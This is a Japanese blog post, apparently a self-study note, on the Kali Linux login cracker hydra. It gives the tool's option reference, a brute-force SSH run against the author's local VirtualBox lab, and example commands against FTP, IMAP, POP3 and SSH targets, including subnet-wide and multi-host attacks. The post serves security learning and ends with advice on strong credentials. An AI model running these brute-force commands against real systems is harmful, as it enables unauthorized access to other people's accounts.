ハッカーはhydraでログインクラックを確認する(Kali Linux)

ホワイトハッカーの知識hydra,Kali Linuxツール,座学

ログインクラックを理解するためにまとめてみました。
このhydraの動作確認は自分のローカルテスト環境で行っています。(VM VirtualBox)

hydraとは

Hydraは並列化されたログインクラッカーツールです。
攻撃するための多数のプロトコルをサポートしています。非常に高速で柔軟性があり、新しいモジュールの追加も容易です。このツールを使えば、研究者やセキュリティコンサルタントは、システムへの不正アクセスをリモートでどれだけ簡単に行えるかを示すことができます。

以下をサポートしています。
Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere、PC-NFS、POP3、PostgreSQL、RDP、Rexec、Rlogin、Rsh、SIP、SMB(NT)、SMTP、SMTP Enum、SNMP v1+v2+v3、SOCKS5、SSH(v1およびv2)、SSHKEY、Subversion、Teamspeak(TS2)、Telnet、VMware-Auth、VNC、XMPP。

機能

・SSHやFTPなどのサービスや、webアプリのログインフォームに対しての攻撃

ツールの場所

[Applications]→[05-Password Attacks]→[Offline Attacks]→[hydra]

ツールと使用方法

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

例 hydra -L /mnt/wordpressshare/users.txt -P /mnt/wordpressshare/password.txt ssh://192.168.56.2

【実行イメージ】少し端折って整形しています。

┌──(kali__kali)-[~]
└─$ hydra -L /mnt/wordpressshare/users.txt -P /mnt/wordpressshare/password.txt ssh://192.168.56.2
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-08 02:53:54
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://192.168.56.2:22/
[22][ssh] host: 192.168.56.2 login: **** password: *****
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-08 02:54:01

オプション

-R

restore a previous aborted/crashed session.
前の中断された/クラッシュしたセッションを復元します。

-I

ignore an existing restore file. (don’t wait 10 seconds)
既存のリストアファイルを無視します。(10秒も待たずに)

-S

perform an SSL connect.
SSL接続を行います。

-s PORT

if the service is on a different default port, define it here.
サービスが別のデフォルトポートを使用している場合は、ここで定義します。

-l LOGIN or -L FILE

login with LOGIN name, or load several logins from FILE.
LOGIN名でログインするか、FILEから複数のログイン情報を読み込む。

-p PASS or -P FILE

try password PASS, or load several passwords from FILE.
パスワードPASSを試す、または複数のパスワードをFILEから読み込む。

-x MIN:MAX:CHARSET

password bruteforce generation, type “-x -h" to get help.
パスワードブルートフォース生成、"-x-h"と入力してヘルプを表示します。

-y

disable use of symbols in bruteforce, see above.
ブルートフォースでのシンボルの使用を禁止する。

-r

rainy mode for password generation. (-x)
パスワード生成時の雨のモード。(-x)

-e nsr

try “n" null password, “s" login as pass and/or “r" reversed login.
“n “はヌルいパスワード、"s “はパスとしてのログイン、"r “は逆のログインを試してみてください。

-u

loop around users, not passwords. (effective! implied with -x)
パスワードではなく、ユーザーを対象としたループです。(有効! -xで暗示)

-C FILE

colon separated “login:pass" format, instead of -L/-P options.
L/Pオプションの代わりに、コロンで区切られた “login:pass “フォーマットを使用します。

-M FILE

list of servers to attack, one entry per line, ':’ to specify port.
攻撃するサーバーのリスト、1行に1つのエントリ、’:’でポートを指定します。

-o FILE

write found login/password pairs to FILE instead of stdout.
見つかったログイン名とパスワードのペアを、標準出力ではなくFILEに書き込む。

-b FORMAT

specify the format for the -o FILE: text(default), json, jsonv1.
-o FILEのフォーマットを指定します。

-f / -F

exit when a login/pass pair is found. (-M: -f per host, -F global)
ログイン/パスのペアが見つかったときに終了します。(-M: -f ホスト毎, -F グローバル)

-t TASKS

run TASKS number of connects in parallel per target. (default: 16)
run TASKS ターゲットごとに並列に接続する数。(デフォルト: 16)

-T TASKS

run TASKS connects in parallel overall. (for -M, default: 64)
TASKSを全体的に並列に接続して実行します。(-Mの場合、デフォルト:64)

-w / -W TIME

wait time for a response (32) / between connects per thread (0).
レスポンスまでの待ち時間(32) / スレッドごとの接続間隔(0)

-c TIME

wait time per login attempt over all threads. (enforces -t 1)
全スレッドのログイン試行あたりの待ち時間を (enforces -t 1)

-4 / -6

use IPv4 (default) / IPv6 addresses. (put always in [] also in -M)
IPv4(デフォルト)/IPv6アドレスを使用します。(常に[]内に入れて-Mでも)

-v / -V / -d

verbose mode / show login+pass for each attempt / debug mode.
詳細モード/試行ごとにログイン+パスを表示/デバッグモード。

-O

use old SSL v2 and v3.
古いSSLv2およびv3を使用します。

-K

do not redo failed attempts. (good for -M mass scanning)
失敗した試行をやり直さないでください。 (-Mマススキャンに適しています)

-q

do not print messages about connection errors.
接続エラーに関するメッセージを出力しません。

-U

service module usage details.
サービスモジュールの使用法の詳細。

-m OPT

options specific for a module, see -U output for information.
モジュールに固有のオプション。詳細については、-U出力を参照してください。

-h

more command line options. (COMPLETE HELP)
その他のコマンドラインオプション。 (完全なヘルプ)

server

the target: DNS, IP or 192.168.0.0/24. (this OR the -M option)
ターゲット:DNS、IP、または192.168.0.0/24。 (これまたは-Mオプション)

service

the service to crack. (see below for supported protocols)
クラックするサービス。 (サポートされているプロトコルについては、以下を参照してください)

OPT

some service modules support additional input. (-U for module help)
一部のサービスモジュールは、追加の入力をサポートします。 (モジュールヘルプの場合は-U)

hydraの使い方

hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh

hydraツールのまとめ

やられサーバー(テスト環境)にsshの環境を作成を行い、簡単なユーザー名とパスワードの辞書を作成してSSHのクラッキングを行いました。
結論としてパラメーターの設定はそれほど難しくはないのですが、パラメーターが大文字/小文字で動作が異なり、何十回(^^;;も試行錯誤を行い、ハッキングに成功しました。

パスワードは複雑するのは当たり前ですが、ユーザ名(ID)も複雑にしておいた方が良い事を教えられました。

覚えるのが大変ですね。(^^;